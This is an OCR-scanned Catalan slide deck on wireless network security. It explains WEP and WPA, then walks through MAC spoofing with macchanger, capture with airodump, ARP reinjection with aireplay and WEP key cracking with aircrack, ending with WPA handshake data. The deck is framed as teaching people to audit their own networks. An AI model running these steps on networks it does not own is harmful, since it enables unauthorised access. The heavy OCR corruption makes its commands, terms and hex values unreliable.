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1-Introduccio

L'intenci06 €s conscienciar de 1'alta vulnerabilitat de les xarxes sensefils
quan no estan ben implementades 1 aportar solucions.

En cap cas I'intenci6 és promoure 1'utilitzaci6 d'aquests coneixements
en xarxes alienes sino poder auditar les nostres xarxes.

L'autor no es fa responsable de 1'utilitzacio que s'en fagi d'aquesta
presentacio.



Conceptes basics

ESSID:

Extended Service Set Identifier.Es el nom de la xarxa, No és un
password.

Beacon Frames:

Anuncis de la xarxa emesos per 'AP.Normalment contenen el
ESSID.

Management Frames:

Procés d'autenticacid mutua 1 associacio.

WEP:

Wireless Equivalent Privacy.Protocol d'encriptacio basat en
'algoritme RCA4.

WPA.:

Wi-Fi1 Protected Adress.Nou mecanisme d'encriptacid que preten
suplir les mancances de WEP.



Com s'associa un client a un
AP?

-Els Aps transmeten BEACON FRAMES cada cert interval de temps.

-Per associar-se a una xarxa un client escolta les BEACON FRAMES
emeses per ['AP.

El client tamb¢ pot enviar una trama PROVE REQUEST per veure si
11 respon I'AP amb el mateix ESSID.



2-Mecanismes habituals de
securitzacio

-ACL's basades en MAC:s.
L'AP nom¢s parlara amb els seus coneguts.

-No emetre Beacon Frames o emetre'ls sense el ESSID

-Utilitzar WEP:dificulta l'accés.Necesita molt de trafic per trobar la
clau.

-Utilitzar WPA .No ho soporten tots els dispositius.



Mecanismes habituals de
securitzacio

-MAC:
podem posar-nos la MAC d'un client 1 fer-11 un DeoS.

-No emetre BEACON FRAMES:
un atacant pot esperar a que s'autentiqui un client o fer un atac de
desautenticacio 1 obligar la reconnexi6 dels clients.

-WEP:
Debilitat demostrada de 1'algoritme RC4.

-WPA.:
en PSK, una passfrase debil pot ser atacada amb un atac de
diccionari.



Com canviar la MAC?

-MACCHANGER:

#macchanger —a <interface>

Current MAC: 00:04:¢2:4¢:05:3b [wireless] (SMC SMC2632W)
Faked MAC: 00:08:21:04:69:71 [wireless] (Cisco AIR-PCM352)

#ifconfig <interface> hw ether <mac address>

#Hsetmac <interface> <mac address>



Atac al WEP

Ailrsnort vs Aircrack

airsnort:
http://airsnort.shmoo.com

Es basa en IV interesants.Desde el 2002 s'implementen dispositius
sense fils que filtren aquestes IVs.

aircrack:
http://www.cr0.net:8040/code/network/aircrack/

Me¢s efectiu ja que no necesita aquests Vs interesants.



Components de aircrack

airodump:
Versi0 sense fils del tcpdump.Serveix per esnifar el trafic.
aireplay:

En el cas que no hi hagi molt de trafic permet capturar peticions
ARP REQUEST 1 reinjectar-les.Aixo fa generar ARP REPLIES
als clients de I'AP.

aircrack:

Utilitza l'atac FMS contra el trafic capturat.Es el que ens mostra
la clau WEP.



airodump

-Posem la tarja en mode monitor 1 en el mateix canal que I'AP.
us:1wconfig <interface> mode monitor channel <num canal>

#iwconfig wlan() mode monitor channel 6

-Comencem a capturar el trafic:

usage: airodump <wifi interface> <output filename> [mac filter]

#airodump wlan0 tercer.pcap 00:40:05:BC:56:BF



I aircrack

I us: aircrack [options] <pcap file> <pcap file> ...

#aircrack -m 00:40:05:BC:56:BF -n 128
tercer.pcap



aireplay

En el cas que no hi hagi prou trafic podem capturar paquets
coneguts:

DHCP DISCOVER, ARP REQUEST,...

L'aireplay serveix per reinjectar peticions ARP.

usage: aireplay <wifl interface> <input filename>
|bssid]

# aireplay wlan(Qap replay.pcap
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Exemple practic



wpa attack

wpa attack:

http://www tinypeap.com/page8.html

ssid: linksys2

anonce: 000000000000000000e 1 fHtttttt Tttt

snonce:.

15¢a4b5992d8208et572a3b0897¢231{37dc403dbf6d9ac25¢6f7¢28cc019
afc9

host mac: 0030ab209adc

ap mac: 000c41c15¢85


http://www.tinypeap.com/page8.html

wpa attack

hexdump:

000c41c15¢850030ab209adc888e01030079te0109002000000000000
0000015¢ca4b5992d8208et572a3b0897¢23137dc403dbt6d9ac25¢c617¢
28cc019atc90000000000000000000000000000000000000000000000
000000000000000000d0282e4c6¢2b8a41158ccdd8e619tb66001add1
80050120101000050120201000050120201000050£2020000



WPA

4 Way Handshake
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